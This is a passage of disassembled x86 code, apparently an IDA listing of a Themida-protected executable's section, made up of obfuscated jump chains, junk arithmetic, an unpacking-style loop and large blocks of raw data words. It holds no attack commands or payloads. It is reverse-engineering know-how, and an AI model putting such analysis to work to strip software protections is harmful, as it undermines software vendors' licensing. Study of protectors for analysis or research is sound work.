		dd 31DBEA81h, 0B5FF7B0Ah, 648205Dh, 858DDA8Bh, 6483878h
		dd 14E9h, 398F9C00h, 9E7A0DC5h,	4C3C8B8Fh, 1A456A5h, 17A91476h
		dd 0E8D0FFFAh, 10h, 450B3DCAh, 0D5CBDF45h, 0A55154CDh
		dd 4637899h, 2DDDBD89h,	95A0648h, 48069995h, 0D5858906h
		dd 89064832h, 48192D95h, 0B806h, 60F90000h, 0D88BD88Bh
		dd 0BD8961h, 8106484Bh,	901A73D3h, 0FC00B2Eh, 1184h, 659D8B00h
		dd 0E906482Ch, 0C6h, 5119D8Bh, 0B5FF0648h, 6482A69h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 34C35343h, 8DF8F9D9h
		dd 4AAA1785h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 89910A25h, 4809D59Dh, 0D8B70F06h
dword_544450	dd 14E96090h, 7000000h,	426A6B49h, 0CBAF4A1Bh, 33FEBD05h
					; DATA XREF: ___:off_43CD24o
		dd 5F28CC7Fh, 518D9FA6h, 6050615Fh, 360A01B9h, 0FE8B6644h
		dd 6A9061h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 4288ECC3h, 6033B681h, 11E9h, 0CE262A00h
		dd 0D3FAD371h, 1DDF0735h, 0B7071D02h, 8A0F835Dh, 5, 734322BEh
		dd 56506100h, 5198BD8Dh, 8D8D0648h, 6487764h, 8323BCB8h
		dd 30CF2B74h, 47C8D007h, 5EF87549h, 0CDBD8358h,	64823h
		dd 8D8B0674h, 6480C6Dh,	0B8C933h, 0B000000h, 99840FC0h
		dd 83000000h, 48277DBDh, 6740006h, 286595FFh, 0B80648h
		dd 0B000000h, 830975C0h, 484B08BDh, 9740106h, 4B08BD83h
		dd 75020648h, 0B58B0Eh,	8D06484Bh, 4AAA1785h, 8DD0FF06h
		dd 48410B85h, 83D0FF06h, 480FB1BDh, 2F750206h, 0F4DA58Bh
		dd 858B0648h, 64823CDh,	0C7240489h, 48298985h, 106h, 4B58B00h
		dd 8B06484Bh, 481971ADh, 1B806h, 0CC20000h, 0C700EB00h
		dd 48298985h, 106h, 4DA58B00h, 8B06480Fh, 480C95B5h, 71AD8B06h
		dd 33064819h, 0CC2C0h, 1A6DBD83h, 74000648h, 4DBD830Fh
		dd 6480Ch, 95FF0674h, 6480C4Dh,	4B00B58Bh, 9C30648h, 4824DDBDh
		dd 5800F06h, 0BB000000h, 1DE49A24h, 0CE9D22Bh, 31000000h
		dd 664492E2h, 5FD54D9Fh
		db 0CDh, 46h, 7Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_5445E7
; ---------------------------------------------------------------------------

loc_5445E5:				; CODE XREF: Themida_:005445EAj
		inc	eax
		inc	edi

loc_5445E7:				; CODE XREF: Themida_:005445E3j
		cmp	byte ptr [edi],	0
		jnz	short loc_5445E5
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_544616
; ---------------------------------------------------------------------------

loc_5445F3:				; CODE XREF: Themida_:00544618j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_54460B
; ---------------------------------------------------------------------------

loc_544608:				; CODE XREF: Themida_:0054460Ej
		mul	ebx
		dec	esi

loc_54460B:				; CODE XREF: Themida_:00544606j
		cmp	esi, 0
		ja	short loc_544608
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax

loc_544616:				; CODE XREF: Themida_:005445F1j
		or	eax, eax
		jnz	short loc_5445F3
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dd 457DBB66h, 5DC38166h, 0E9C18B37h, 1ADh, 24748B60h, 247C8B24h
		dd 80B2FC28h, 8846068Ah, 2BB4707h, 2000000h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0FFE2830Fh, 0D202FFFFh, 5850Fh
		dd 168A0000h, 0FD21246h, 6A83h,	2C03300h, 5850FD2h, 8A000000h
		dd 0D2124616h, 12A830Fh, 0D2020000h, 5850Fh, 168A0000h
		dd 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h, 850FD202h
		dd 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h,	0D2124616h
		dd 840FC013h, 6, 8AF82B57h, 7885F07h, 2BB47h, 70E90000h
		dd 0B8FFFFFFh, 1, 850FD202h, 5,	1246168Ah, 2C013D2h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0FFDE820Fh, 0C32BFFFFh, 1BBh
		dd 34850F00h, 0B9000000h, 1, 850FD202h,	5, 1246168Ah, 2C913D2h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0FFDE820Fh,	8B56FFFFh
		dd 0F3F52BF7h, 8E95EA4h, 48FFFFFFh, 8A08E0C1h, 0E88B4606h
		dd 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h
		dd 5, 1246168Ah, 0DE820FD2h, 3DFFFFFFh,	7D00h, 22830Fh
		dd 3D0000h, 0F000005h, 0E82h, 8B564100h, 0F3F02BF7h, 0B4E95EA4h
		dd 83FFFFFEh, 870F7FF8h, 3, 5602C183h, 0F02BF78Bh, 0E95EA4F3h
		dd 0FFFFFE9Bh, 3346068Ah, 1E8C0C9h, 17840Fh, 0D1830000h
		dd 56E88B02h, 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h, 247C2BFFh
		dd 247C8928h, 8C2611Ch,	929BA00h, 10E90000h, 3F000226h
		dd 68025900h, 5E0012FFh, 50005AD4h, 28005AD9h, 25900h
		dd 50000000h, 47005AD9h, 2000002h, 1000000h, 6000000h
		dd 6F000000h, 0FA0BCDh,	4 dup(0)
		dd 2E000000h, 0F70054FAh, 62005500h, 3E0054F3h,	0D4005505h
		dd 0D005483h, 41005506h, 5500550Ch, 0D600544Dh,	91005458h
		dd 6F00545Ch, 0C40054DAh, 600054C0h, 8E00544Dh,	2D0054ECh
		dd 0FC0054F9h, 4E005510h, 0C20054FDh, 2D00547Fh, 9A0054A4h
		dd 0D1005472h, 0F10054AEh, 200548Fh, 2300550Bh,	460054EAh
		dd 3D00545Dh, 0C30054B9h, 6B005480h, 98005475h,	6C0054D4h
		dd 0B30054DEh, 0C00054A0h, 5005482h, 2500550Ch,	790054D0h
		dd 0C0054C3h, 3100549Bh, 0A4005477h, 87005488h,	70005464h
		dd 850054FDh, 19005501h, 5E005502h, 0AC0054BCh,	19005454h
		dd 0B50054D3h, 3500547Ah, 2D005486h, 0D3005473h, 0FE0054E6h
		dd 0F600547Ah, 140054A9h, 270054FCh, 0D100550Eh, 1B0054AFh
		dd 0C10054C7h, 0F80054B0h, 5A005503h, 7E005475h, 93005463h
		dd 25005492h, 0B10054E1h, 0F90054B8h, 9B0054A8h, 4500549Dh
		dd 0DC0054FCh, 400550Dh, 470054FEh, 6C0054E7h, 6F0054FCh
		dd 7F005460h, 27005484h, 0DD0054A9h, 2D005502h,	63005502h
		dd 5F00550Ch, 0DC0054B1h, 0E1005483h, 0E00544Fh, 140054E9h
		dd 87005458h, 60054D4h,	6D005509h, 0AF00549Ah, 0DA0054C9h
		dd 0F400548Dh, 0CD005463h, 5A0054C7h, 990054EAh, 0AA005454h
		dd 6900549Dh, 0D400545Fh, 6F0054DCh, 6D00545Eh,	18005463h
		dd 1300550Fh, 5D00550Ah, 710054F6h, 1D00548Eh, 0F200546Eh
		dd 300054E2h, 8900545Ch, 1B0054B4h, 980054C5h, 1A0054D9h
		dd 7F005467h, 3005483h,	2700547Ah, 0F200549Ah, 0A70054BCh
		dd 2E00544Fh, 0AB0054A9h, 4F00544Bh, 80054CCh, 0F3005495h
		dd 0F60054FBh, 0DB0054DAh, 11005485h, 5C00544Dh, 94005461h
		dd 0CE00544Fh, 0EE00549Ch, 8C00545Bh, 0CB005472h, 0CD0054FFh
		dd 3E0054CAh, 0AA0054E2h, 0FA005475h, 610054B8h, 9800545Ch
		dd 70054D2h, 86005489h,	0E400548Bh, 9D005456h, 8C0054ABh
		dd 0F50054B2h, 5A0054FAh, 420054C2h, 7E00549Ah,	0A1005460h
		dd 8A00548Ah, 0A900545Ah, 4D0054A1h, 0B200546Dh, 0F00054D8h
		dd 25005451h, 4005473h,	0D60054DBh, 3D0054ADh, 51005470h
		dd 210054DFh, 690054A5h, 6F005501h, 0A4005489h,	500054F9h
		dd 9C00545Fh, 0F90054F2h, 270054D0h, 500054B2h,	590054E2h
		dd 0AA0054D7h, 0C70054B1h, 9A005502h, 0B900546Dh, 1A0054F3h
		dd 53005493h, 3C0054C3h
		db 6Dh,	54h, 0
; ---------------------------------------------------------------------------

loc_544ACB:				; CODE XREF: Themida_:00577733j
					; Themida_:00592B9Aj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6487D64h
		mov	eax, edi
		add	edi, 6487A7Ch
		cmp	eax, [edi+2Ch]
		jnz	short loc_544AE9
		jmp	short loc_544AFC
; ---------------------------------------------------------------------------

loc_544AE9:				; CODE XREF: Themida_:00544AE5j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_544AF8
; ---------------------------------------------------------------------------

loc_544AF3:				; CODE XREF: Themida_:00544AFAj
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_544AF8:				; CODE XREF: Themida_:00544AF1j
		or	ecx, ecx
		jnz	short loc_544AF3

loc_544AFC:				; CODE XREF: Themida_:00544AE7j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_544B09:				; CODE XREF: Themida_:00544B10j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_544B09

loc_544B12:				; CODE XREF: Themida_:loc_545EB2j
					; Themida_:00546886j ...
		lodsb
		push	5468h
		mov	[esp], ebx
		mov	bl, 0E9h
		and	bl, 1Dh
		sub	bl, 0EDh
		add	al, 0A1h
		sub	al, bl
		jmp	loc_5497BF
; ---------------------------------------------------------------------------
		dd 0BBF0E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_544B32:				; CODE XREF: Themida_:005452F9j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 45BF2822h
		jmp	loc_54FEF5
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0E3682404h, 89000034h, 1DB7241Ch,	0FC2839B4h
		dd 0E9E6285Bh, 9634h, 0A7602ABEh, 1DBD551Fh, 816A6858h
		dd 0D11D94CDh, 81DDF743h, 9FD001EDh, 5DEA894Bh,	0E95EF229h
		dd 9380h, 68240C8Bh, 281Dh, 820FE9h, 24048900h,	8FE0E9h
		dd 81E58900h, 4C5h, 0DCE95700h,	0FF00003Ch, 34FF2434h
		dd 89515824h, 4C181E1h,	0E9000000h, 4629h
; ---------------------------------------------------------------------------

loc_544BC0:				; CODE XREF: Themida_:0054D119j
		pop	ebx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		xor	dword ptr [esp], 69FD3506h
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		jmp	loc_54A6A1
; ---------------------------------------------------------------------------

loc_544C02:				; CODE XREF: Themida_:0055064Fj
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54AEE8
; ---------------------------------------------------------------------------

loc_544C0C:				; CODE XREF: Themida_:0054783Bj
		add	eax, edi
		push	ecx
		mov	ecx, 3F6F40B7h
		jmp	loc_5451FC
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0BA07E9h
		db 0
; ---------------------------------------------------------------------------

loc_544C21:				; CODE XREF: Themida_:00549550j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	cl, al
		pushf
		jmp	loc_548902
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
aWt_sA		db 'WT_Иу─',0
		align 10h

loc_544C40:				; CODE XREF: Themida_:0054D28Cj
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5456AC
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 2
		dd 89000000h, 45BAE9CBh, 0CDFE0000h, 0AA42E9h, 50E18900h
		dd 68C1BB53h, 0D8896F79h, 0F3B685Bh, 34890000h,	68BDBE24h
		dd 0F0296F79h, 0E9C1015Eh, 0BB4Ch
; ---------------------------------------------------------------------------

loc_544C88:				; CODE XREF: Themida_:00550085j
		push	edx
		mov	edx, 4C8C047Bh
		neg	edx
		sub	edx, 600EF5B6h
		push	esi
		mov	esi, 1
		sub	edx, esi
		pop	esi
		push	0
		sub	dword ptr [esp], 725C47E5h
		sub	[esp], edx
		add	dword ptr [esp], 725C47E5h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54608D
; ---------------------------------------------------------------------------
		dd 4C381h, 1C870000h, 5F095C24h, 241C8B1Ch, 0E904C483h
		dd 0FFFFFE3Ah, 2BCBE781h, 0DFF75A86h, 0EF81DFF7h, 3B92EB09h
		dd 315FF989h, 2434FFCFh, 4C48359h, 3C8BFD01h, 4C48324h
		dd 8704C583h, 248B242Ch, 2434FF24h, 582434FFh, 9A2AE9h
		dd 1C77FF00h, 6658669Dh, 9C240419h, 0FFFDF1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_544D21:				; CODE XREF: Themida_:0054D3C3j
		add	bl, al
		push	eax
		mov	ah, 3Eh
		sub	bl, 0D8h
		add	bl, ah
		add	bl, 0D8h
		pop	eax
		movzx	eax, al
		jmp	loc_54B798
; ---------------------------------------------------------------------------
		db 55h
		dd 4BDh, 5DEA2900h, 0E9241487h,	0AE40h,	5C24048Fh, 54241489h
		dd 3A6CE9h, 2434FF00h, 0E92434FFh, 210Ch, 32243430h, 34302434h
		dd 4EC8124h, 89000000h,	68512404h, 0A8Ah, 88240489h, 58E588F4h
		dd 79CE9h
		db 0
; ---------------------------------------------------------------------------

loc_544D85:				; CODE XREF: Themida_:0054B1A5j
		add	ebx, edx
		jmp	loc_546876
; ---------------------------------------------------------------------------
		dd 0C6801AB6h, 3C68031h, 96DE9h
		db 0
; ---------------------------------------------------------------------------

loc_544D99:				; CODE XREF: Themida_:00548C51j
		and	ebx, 266013ABh
		xor	ebx, 54755D62h
		sub	eax, ebx
		jmp	loc_54E371
; ---------------------------------------------------------------------------

loc_544DAC:				; CODE XREF: Themida_:005465CDj
		pop	edi
		add	ebx, edi
		jmp	loc_54C4AC
; ---------------------------------------------------------------------------
aSsa		db 'SИ²~',0
		align 2
		dw 0BD55h
		dd 0F9E28A2h, 36FEE9h, 0C3815B00h, 4, 24BE950h,	8EBE0000h
		dd 5244AA21h, 7BFDE9h, 53EF0100h, 0E86643BBh, 3870E945h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_544DEA:				; CODE XREF: Themida_:00547505j
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		push	edi
		mov	edi, 31A8797Ch
		or	edi, 2803A7Fh
		not	edi
		jmp	loc_54C45C
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 13A56EC3h, 1C40C281h, 0F6E93C97h, 8B000073h,	0C4832404h
		dd 241C8B04h, 4C481h, 0C6010000h, 2C68358h, 8B243487h
		dd 0D3662424h, 0E99C242Ch, 0FFFFFCDAh
; ---------------------------------------------------------------------------

loc_544E38:				; CODE XREF: Themida_:0054CB91j
		pop	ecx
		sub	dword ptr [esp], 4F425E12h
		sub	[esp], edi
		add	dword ptr [esp], 4F425E12h
		add	dword ptr [esp], 29083700h
		push	dword ptr [esp]
		jmp	loc_545035
; ---------------------------------------------------------------------------

loc_544E59:				; CODE XREF: Themida_:0054A4DCj
		push	edx
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_54F925
; ---------------------------------------------------------------------------
		dd 4B8505Dh, 1000000h, 24048BC5h, 8304C483h, 2C3304C5h
		dd 7DB5E924h, 665C0000h, 0E99CC83Bh, 0FFFFFC76h, 0C380C3FEh
		dd 285804B5h, 66582CD8h, 83241C8Bh, 166802C4h, 0E9000079h
		dd 61D4h, 0D008C4B8h, 7CF0505h,	68522F4Ah, 57601E2Bh, 0B3E2815Ah
		dd 0F762B625h, 64EA81D2h, 4A797972h, 0BF1CF281h, 0D0296055h
		dd 2625E9h, 81435D00h, 428019EBh, 0E9D989E2h, 40Ah, 8B242C33h
		dd 2C892424h, 3074BD24h, 0EDC137EEh, 9EC58107h,	21FF9024h
		dd 0BBE91C6Fh, 58000093h, 43DDE9h, 8BC52900h, 0C4832404h
		dd 0F9C68104h, 16C017Dh, 4AB1E9EEh, 53500000h, 0B64108BBh
		dd 96BEE92Bh, 0BF570000h, 763A75F7h
		db 0B9h, 3Fh
word_544F42	dw 6AC8h		; DATA XREF: ___:off_435750o
		dd 5FF929DBh, 0B32E9h
		db 0
; ---------------------------------------------------------------------------

loc_544F4D:				; CODE XREF: Themida_:005480E5j
					; Themida_:loc_550DE4j
		push	25BBh
		mov	[esp], ebx
		push	61DFh
		mov	[esp], ebx
		jmp	loc_54FDD4
; ---------------------------------------------------------------------------
		dw 3487h
		dd 24248B24h, 4C581h, 0B9510000h, 2, 745EE9h, 665F6600h
		dd 6624048Fh, 8124348Bh, 2C4h, 93BEE900h, 0E94D0000h, 9FE0h
		dd 0E92434FFh, 46B2h, 190418B0h, 90E9D0F6h, 0AD0000ABh
		dd 1068D831h, 0E900002Dh, 3315h, 4EC81h, 34890000h, 68E68924h
		dd 73BEh, 68240C89h, 4,	59CE0159h, 5D5EE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_544FD6:				; CODE XREF: Themida_:00546E12j
		push	eax
		push	ebx
		mov	bh, cl
		mov	ah, bh
		jmp	loc_54B233
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6659669Dh, 9C2414D3h, 0FFFB21E9h, 2434FFFFh
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_547F07
; ---------------------------------------------------------------------------

loc_545012:				; CODE XREF: Themida_:00547E15j
		add	al, dl
		sub	al, 14h
		pop	edx
		push	ebx
		jmp	loc_54C1D2
; ---------------------------------------------------------------------------
		db 0B8h, 2, 0
		dd 0C3810000h, 3305458Bh, 3FFAEB81h, 0C3010DF5h, 9502E9h
		db 0
; ---------------------------------------------------------------------------

loc_545035:				; CODE XREF: Themida_:00544E54j
		pop	edi
		add	esp, 4
		shl	edi, 3
		add	edi, 0B7956308h
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54D311
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0E9E18924h, 3C1Fh
; ---------------------------------------------------------------------------

loc_54505C:				; CODE XREF: Themida_:0054EF31j
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5489D0
; ---------------------------------------------------------------------------
		db 4Ah
		dd 558EF281h, 0D7892455h, 8324148Bh, 8BE904C4h,	810000BBh
		dd 6F5972EAh, 4375E96Eh, 0AD050000h, 29513E2Ch,	2CA9E9C7h
		dd 0E95A0000h, 4CBEh
; ---------------------------------------------------------------------------

loc_5450A0:				; CODE XREF: Themida_:005497C9j
		push	edx
		mov	dh, 2Fh
		jmp	loc_54C469
; ---------------------------------------------------------------------------

loc_5450A8:				; CODE XREF: Themida_:0054FF8Dj
		or	ebp, 1DF21664h
		push	0
		jmp	loc_55007F
; ---------------------------------------------------------------------------

loc_5450B8:				; CODE XREF: Themida_:0054936Aj
		push	esi
		push	edx
		mov	edx, 4E2671Bh
		add	edx, 5FDC7F7Fh
		sub	edx, 7E39375Eh
		xor	edx, 0BF9A898Ch
		push	edx
		sub	dword ptr [esp], 2BDD438Dh
		pop	esi
		add	esi, 2BDD438Dh
		jmp	loc_550D72
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 0ADCFE900h, 6FB90000h,	0C1484121h, 0B7E905E9h
		dd 3300001Bh, 0E95C242Ch, 122Bh, 4C181h, 0B8500000h, 4
		dd 69E9C129h, 3100009Fh, 8AB9E9F2h, 38050000h, 0D72E22Ah
		dd 7DAC42BEh, 0E8C1D0F7h, 3DA6E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545136:				; CODE XREF: Themida_:0054CCFDj
		mov	cl, 8Eh
		push	6595h
		mov	[esp], edx
		mov	dl, 57h
		and	dl, 0BFh
		shr	dl, 3
		or	dl, 0F3h
		sub	dl, 1Ch
		xor	dl, 0F8h
		add	al, dl
		pop	edx
		push	cx
		mov	ch, 60h
		sub	al, ch
		pop	cx
		sub	al, 52h
		sub	al, cl
		jmp	loc_549EC0
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 8324248Bh, 0B85004C4h, 701C720Fh, 4EC81h, 0EAE90000h
		dd 8700005Dh, 665C241Ch, 6824048Bh, 7A41h, 54241C89h, 0FFFC30E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_545195:				; CODE XREF: Themida_:005493DCj
		mov	ecx, 41905E16h
		and	ecx, 6A5C0C74h
		dec	ecx
		jmp	loc_549523
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4A9DE904h, 48F0000h,	11B6824h, 7BE90000h, 5A00009Dh
		dd 17FFE9h, 242C3100h, 5C242C33h, 9C240CFEh, 0FFF941E9h
		dd 1F15BBFFh, 0E9552A6Ah, 803Bh, 8124048Bh, 4C4h, 66DBF600h
		dd 0E967B551h, 0B450h, 0FF2434FFh, 0E9592434h, 8145h
; ---------------------------------------------------------------------------

loc_5451FC:				; CODE XREF: Themida_:00544C14j
		or	ecx, 2AF82A23h
		add	ecx, 187C537h
		jmp	loc_546C11
; ---------------------------------------------------------------------------

loc_54520D:				; CODE XREF: Themida_:0054EDF1j
		xor	eax, 75484216h
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	ebx, 1000000h
		mov	edx, ebx
		pop	ebx
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		jmp	loc_550041
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC812404h, 4, 0BA241489h, 4792682h,	54B95152h, 31096732h
		dd 5904244Ch, 32543558h, 59E90967h, 810000A4h, 7D02242Ch
		dd 835B7374h, 348904ECh, 7D02BE24h, 0A7E97374h,	0BE00008Ch
		dd 28E06BC3h, 13FFC681h, 0E956237Fh, 0B44Ah, 40437A05h
		dd 46E95312h, 81000087h, 607BE2EEh, 2434FF40h, 4C4835Dh
		dd 65A26851h, 1C890000h, 5E87E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5452B2:				; CODE XREF: Themida_:0054C186j
		xor	edx, 574E21B8h
		shl	edx, 1
		push	edx
		jmp	loc_54DA95
; ---------------------------------------------------------------------------
		dd 849CC181h, 0CF89FD07h, 6D1AE9h
		db 0
; ---------------------------------------------------------------------------

loc_5452CD:				; CODE XREF: Themida_:005499C3j
		push	eax
		mov	eax, 8B87316h
		add	eax, 1EA44443h
		sub	eax, 1
		sub	eax, 27570C49h
		xor	eax, 5E5FF344h
		add	ebp, eax
		pop	eax
		jmp	loc_545D1D
; ---------------------------------------------------------------------------

loc_5452EF:				; CODE XREF: Themida_:00548799j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_544B32
; ---------------------------------------------------------------------------
		dw 1C8Bh
aSN		db '$И╩╜',0
		align 2

loc_545306:				; CODE XREF: Themida_:0054682Ej
		xor	edx, 1D86270Fh
		not	edx
		jmp	loc_545485
; ---------------------------------------------------------------------------
		db 66h
		dd 5024148Bh, 0BA52E089h, 36D87EF2h, 2ECDE9h, 0E9C22900h
		dd 9CFFh, 5818ED81h, 0ED811401h, 190F4656h, 4EC81h, 14890000h
		dd 693CBA24h, 0F2814699h, 878057BFh, 148BD501h
dword_545350	dd 4C48124h, 1000000h, 242C8BEAh, 2BB9E9h, 24343000h, 30243432h
					; DATA XREF: ___:off_43CCE4o
		dd 0A3E92434h, 0B0FFFFF7h, 0E9D03088h, 66B0h, 71FE952h
		dd 895C0000h, 0E189240Ch, 4BE56h, 0F1010000h, 0B0E9565Eh
		dd 29000023h, 0E9EB81D3h, 0E952B562h, 3BBFh, 0D5F68h, 24148900h
		dd 0C2815A54h, 4, 4EA81h, 14330000h, 24143124h,	5C241433h
		dd 89243489h, 4B850E6h,	81000000h, 4357E8EEh, 0BA3DE93Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5453D6:				; CODE XREF: Themida_:00546A6Cj
		mov	eax, 7A017996h
		jmp	loc_54CE85
; ---------------------------------------------------------------------------
		dd 0F2805958h, 0E9D028E5h, 106Ah, 81E28952h, 4C2h, 4C28100h
		dd 87000000h, 0E95C2414h, 564Eh, 0F281D2F7h, 312212E1h
		dd 0BE56DAF7h, 64D419B2h, 0E95EF231h, 81ADh
; ---------------------------------------------------------------------------

loc_54541C:				; CODE XREF: Themida_:0054F6E9j
		mov	edi, [esp]
		add	esp, 4
		sub	eax, 15D93800h
		jmp	loc_54C50C
; ---------------------------------------------------------------------------
		db 55h
		dd 4BDh, 5FA9E900h, 0D8290000h,	8904EC83h, 51BB241Ch, 0C1333233h
		dd 0EC8303E3h, 24048904h, 9C1E9h, 81D3F700h, 38269AEBh
		dd 5BDE01BCh, 8704EE83h, 0B4E92434h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54546B:				; CODE XREF: Themida_:00546CD8j
		add	esp, 4
		not	ebx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		jmp	loc_550C29
; ---------------------------------------------------------------------------
aGqsia		db '╩ц',8,'ёQИI═',0
		db 0
; ---------------------------------------------------------------------------

loc_545485:				; CODE XREF: Themida_:0054530Ej
		inc	edx
		shl	edx, 5
		sub	edx, 0FFCB0149h
		add	eax, edx
		pop	edx
		sub	eax, edx
		jmp	loc_5488F8
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd offset byte_5734E9
		dd 0C0685300h, 0E9049233h, 0A333h, 4EC83ADh, 55240C89h
		dd 7B124A68h, 0DDF75D4Dh, 0D818ED81h, 0E9896667h, 8B2434FFh
		dd 0C481242Ch, 4, 0E9E18951h, 99B1h, 0FC00959h,	887D84h
		dd 4EC8100h, 89000000h,	1CB82404h, 2D000000h, 398714D7h
		dd 0D705F801h, 0FF398714h, 0BC48E930h, 0D7680000h, 5848A822h
		dd 0D8F7D0F7h, 2B11730Dh, 0CC07050Fh, 0C389B054h, 5BD82958h
		dd 5F9CE9h, 8BEC8800h, 1AE9240Ch, 0FE000001h, 0A0D0E9CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545532:				; CODE XREF: Themida_:0054AC1Cj
		push	edx
		mov	edx, 54226DADh
		dec	edx
		not	edx
		add	edx, 54226DB1h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54A95F
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0D8286404h, 97D8E9h,	4EA8100h, 33000000h, 17E92414h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545567:				; CODE XREF: Themida_:0054FF82j
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, edx
		pop	edx
		push	edi
		jmp	loc_54A461
; ---------------------------------------------------------------------------

loc_545578:				; CODE XREF: Themida_:005508BEj
		add	esp, 4
		push	esi
		pop	eax
		mov	esi, [esp]
		jmp	loc_548C33
; ---------------------------------------------------------------------------
		dd 8108EAC1h, 94468AC2h, 30F2817Ah, 814C8852h, 69552AF2h
		dd 5AD6296Fh, 8904EC83h, 0B951243Ch, 7FF82C45h,	850C181h
		dd 0BE56352Dh, 51371B54h, 0E2E68146h, 0E9223139h, 7524h
		dd 6DD5E954h, 0E7BF0000h, 81253948h, 0CD7A43C7h, 0E9D7F71Ah
		dd 5F58h
; ---------------------------------------------------------------------------

loc_5455DC:				; CODE XREF: Themida_:0054B041j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5458B3
		push	eax
		mov	eax, 5F95082Bh
		jmp	loc_549CD7
; ---------------------------------------------------------------------------

loc_5455F1:				; CODE XREF: Themida_:0054EE1Aj
		sub	ecx, 74B83B85h
		jmp	loc_54EB5F
; ---------------------------------------------------------------------------

loc_5455FC:				; CODE XREF: Themida_:00549544j
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_54751A
; ---------------------------------------------------------------------------

loc_545607:				; CODE XREF: Themida_:00550A7Dj
		push	5616h
		mov	[esp], edx
		jmp	loc_55035A
; ---------------------------------------------------------------------------

loc_545614:				; CODE XREF: Themida_:0054588Bj
		pop	eax
		sub	bl, dl
		add	bl, 0F2h
		pop	dx
		sub	bl, 51h
		sub	bl, 0DEh
		sub	bl, cl
		add	bl, 0DEh
		add	bl, 51h
		jmp	loc_5503C3
; ---------------------------------------------------------------------------
		db 81h
		dd 555803F1h, 59CB8910h, 4171E956h, 0D6F60000h,	0FFF503E9h
		dd 9AE955FFh
